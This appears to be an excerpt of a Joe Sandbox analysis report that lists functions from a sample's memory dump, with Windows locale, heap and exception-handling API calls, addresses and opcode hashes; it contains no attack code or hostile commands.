Function 002D3C29 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d32b29ab517e5f2b9509cbf331bbcc8176113114b941b772582734ff471330f8
Instruction ID: c2d212ecc3e2fb63f42cbceba795d9e1ff71d6e49e81416f52108ce386d6eb24
Opcode Fuzzy Hash: d32b29ab517e5f2b9509cbf331bbcc8176113114b941b772582734ff471330f8
Instruction Fuzzy Hash: 4631807692011AAFCB14DF68D8849EDB7B9BF09320B14426BE512E3390D731FE64CB91

Function 002D3C1B Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 98138d20fc0895d038ff9b386b8bad229d0df40a1662b831bfe8d0ae9c6d563d
Instruction ID: 265b8d9ef2c3286462cf435f9bf3fda4b0d9ce713f3e4916080015072e7d710c
Opcode Fuzzy Hash: 98138d20fc0895d038ff9b386b8bad229d0df40a1662b831bfe8d0ae9c6d563d
Instruction Fuzzy Hash: 3AF0283A6382574ACF05CE78E9667ACBB51FF86334B24816FD412D96D1CA134E71CA12

Function 002DE531 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,002D31E1,002D186A,?,002D60C1,002D186C,002D186A,?,?,?,002D3181,002D31E1,002D186E,002D186A,002D186A,002D186A), ref: 002DE563

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 68c32bdaa639d620b760721b71555b6d1913a7ce38d399330cb6d1fbf3a6e08b
Instruction ID: a6511b0b8af8ed0636e5228660a021f471e9eb04ba5e94b33b6bd13067d0c327
Opcode Fuzzy Hash: 68c32bdaa639d620b760721b71555b6d1913a7ce38d399330cb6d1fbf3a6e08b
Instruction Fuzzy Hash: DAE0E57193155656DF317E66BC05B6A36489F017F4F970123EC059F7D1EBA1CD2085B0

Non-executed Functions

Function 002E3178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,002E2B49,00000002,00000000,?,?,?,002E2B49,?,00000000), ref: 002E3211
GetLocaleInfoW.KERNEL32(?,20001004,002E2B49,00000002,00000000,?,?,?,002E2B49,?,00000000), ref: 002E323A
GetACP.KERNEL32(?,?,002E2B49,?,00000000), ref: 002E324F

Strings

OCP, xrefs: 002E31CC
ACP, xrefs: 002E3196

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 15c81e4489b8500c33f0126c98833ce34ef6ddf58c373b9fc10f9a859dc8f2a7
Instruction ID: 237960d1c2f046294363dc51b0be615234182c389cd04c0aa4d0aba183850163
Opcode Fuzzy Hash: 15c81e4489b8500c33f0126c98833ce34ef6ddf58c373b9fc10f9a859dc8f2a7
Instruction Fuzzy Hash: C421C9326A0182B6DB34CF57D90DBA773A6AF50B527964428EE4ECB110E772DF60D350

Function 002E2A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 002E2B1B
IsValidCodePage.KERNEL32(00000000), ref: 002E2B59
IsValidLocale.KERNEL32(?,00000001), ref: 002E2B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 002E2BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 002E2BCF

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: b0831ed7e7bb694bdecda9048cecb770d61a7b63cd9d4801cac7ded139b67215
Instruction ID: 2bbe8ce9434bb5dda2b8b0f5c00dacb2303f3fea280d0dd61effe173b9ee39d8
Opcode Fuzzy Hash: b0831ed7e7bb694bdecda9048cecb770d61a7b63cd9d4801cac7ded139b67215
Instruction Fuzzy Hash: E951A171A60256EBEF20DFA6DC45BBE77BCBF04700F944069A512EB250DBB09918CB60

Function 002E375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002E384A

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e76c5a12f355b9e6152e2849a78fcd610adc87deeb2a2f4d7b786dec890e6fdc
Instruction ID: d6ca94ecb2720dd693928da8c3fe5c49979c1429619a6486a91eac99a1afef4b
Opcode Fuzzy Hash: e76c5a12f355b9e6152e2849a78fcd610adc87deeb2a2f4d7b786dec890e6fdc
Instruction Fuzzy Hash: 427106B19951A95FDF20EF29DC8DAFAB7B8AF05301F9441DAE04997251DB318F908F10

Function 002D5020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 002D502C
IsDebuggerPresent.KERNEL32 ref: 002D50F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 002D5111
UnhandledExceptionFilter.KERNEL32(?), ref: 002D511B

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6f76318277b11cf0f59dc0cafdd474805ebbd1bbe0fde4422674ce8210a01a52
Instruction ID: 846e5b8873a68f6ddf5509b6379a5e1a174e8437af9f70570227ad6b54f4d85c
Opcode Fuzzy Hash: 6f76318277b11cf0f59dc0cafdd474805ebbd1bbe0fde4422674ce8210a01a52
Instruction Fuzzy Hash: 6A31F8B5D152299BDF20EF64D9497CDBBB8AF08300F1041AAE40DAB250EB719B85CF45

Function 002E2CFF Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002E2D53
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002E2D9D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002E2E63

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: f994bc6f58ac4af1aca2693a7623ad44aa5ea3ea0b9d0d443cd114cbd00678d6
Instruction ID: e2d4104f7ee4781a34d73aee25f8554ee9f163a73c217cfc9d5c1d8020afe3c9
Opcode Fuzzy Hash: f994bc6f58ac4af1aca2693a7623ad44aa5ea3ea0b9d0d443cd114cbd00678d6
Instruction Fuzzy Hash: 9061BF319B0157DFDB289F26CD82BAA77A8EF04300F54417AE906C6685E774E964CB50

Function 002DB4B9 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,002D31E1), ref: 002DB5B1
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,002D31E1), ref: 002DB5BB
UnhandledExceptionFilter.KERNEL32(002D1542,?,?,?,?,?,002D31E1), ref: 002DB5C8

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: c24445b840ad473e93455800244e76dfe08a8421ac4b00f14777518c8abe7178
Instruction ID: 6bd9beb9d0a7f9cb8dbc33e6c4269830d4342d7ed9733e0bd4e0b608aee51131
Opcode Fuzzy Hash: c24445b840ad473e93455800244e76dfe08a8421ac4b00f14777518c8abe7178
Instruction Fuzzy Hash: DC31C574911229DBCB21DF28ED8979DBBB8BF08310F5041EAE41CA7261E7749F958F44

Function 002E2FB1 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002E3005

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d79b7fa1d0f787c5d504198e62fcc006843232a095fbae6f3b2db5e7e4949478
Instruction ID: 14b3c12793510a279efd1764984bd94654b728d3b6d85c86b5435a3b7a0546df
Opcode Fuzzy Hash: d79b7fa1d0f787c5d504198e62fcc006843232a095fbae6f3b2db5e7e4949478
Instruction Fuzzy Hash: 0B21B372561257ABEF28EF1ADC45ABB73A8EF44311B50007AFD01D7245EB74DE20CA50

Function 002E30D1 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002E3125

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 08f7636b4b813a425a5592783681bb2987a76413417f6a845751b3d17c4348dc
Instruction ID: 2dac62a75503f2fac308e5bbc0639b35e4220dad499656727f6623cdf830961c
Opcode Fuzzy Hash: 08f7636b4b813a425a5592783681bb2987a76413417f6a845751b3d17c4348dc
Instruction Fuzzy Hash: E6110632561217ABDB14EF29DC4AABAB7E8EF05311B50017AF605DB240EB74EE108B90

Function 002E2C64 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

EnumSystemLocalesW.KERNEL32(002E2CFF,00000001,00000000,?,-00000050,?,002E2AEF,00000000,-00000002,00000000,?,00000055,?), ref: 002E2CD6

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 656e34e43908dc468523f24d32ba7b2ef6bc7d66f1c7206b384df741d227d158
Instruction ID: 634d43b617b53aa0a696bdf8c7d5d2d46a3f70e51dc463a26285ccfc36fe7f44
Opcode Fuzzy Hash: 656e34e43908dc468523f24d32ba7b2ef6bc7d66f1c7206b384df741d227d158
Instruction Fuzzy Hash: BB11293B2103029FDB18AF3AC8916BAB796FF80368B59442DE94747B40D371A956CB40

Function 002E327E Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,002E2F1B,00000000,00000000,?), ref: 002E32AA

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 9c68419c7f9845c1dc064e9647f7d80783d6d8279b78e4c4d8da651d0229343f
Instruction ID: 034483c6b418b1a7a0c3f26058a812b85db0968d9ec3916086c1a8b140b90f78
Opcode Fuzzy Hash: 9c68419c7f9845c1dc064e9647f7d80783d6d8279b78e4c4d8da651d0229343f
Instruction Fuzzy Hash: 0A017632660113BBDB18DA23CC0EBBA37A4DB00725F450429ED92A3180EA71EF20CA94

Function 002E2F52 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

EnumSystemLocalesW.KERNEL32(002E2FB1,00000001,?,?,-00000050,?,002E2AB7,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 002E2F9C

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 5dbc75c62869030ddc4d25132798baef7d8fa3a8d0de413e92510d139dcff61c
Instruction ID: 4cffc11c464996fa1de99f4bd577b281410268ee91d91da72116a946ee21e13b
Opcode Fuzzy Hash: 5dbc75c62869030ddc4d25132798baef7d8fa3a8d0de413e92510d139dcff61c
Instruction Fuzzy Hash: EAF046362103459FDB14AF3A9885A7ABBA5EF80368B45842CF9064BB80C7B19C02CA80

Function 002DF717 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002DB750: EnterCriticalSection.KERNEL32(-00023A67,?,002D8F5A,00000000,002F44D8,0000000C,002D8F13,?,?,002DF83A,?,?,002DE921,00000001,00000364,002D31E1), ref: 002DB75F

EnumSystemLocalesW.KERNEL32(002DF70A,00000001,002F4928,0000000C,002DF118,-00000050), ref: 002DF74F

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: ec7c7767c4834dca1a749fd5780c64903fbaa28335aaaf5cbcfdd8a156f8080e
Instruction ID: f0b6e1549d33e22c6bca0c19afcf912d12d58caaa613e22a486096ff437fabab
Opcode Fuzzy Hash: ec7c7767c4834dca1a749fd5780c64903fbaa28335aaaf5cbcfdd8a156f8080e
Instruction Fuzzy Hash: 1DF03C76A10204DFE700EF58E846BADB7F0EB44761F10412AF415DB390C7B59910CF84

Function 002E3086 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

EnumSystemLocalesW.KERNEL32(002E30D1,00000001,?,?,?,002E2B11,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 002E30BD

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
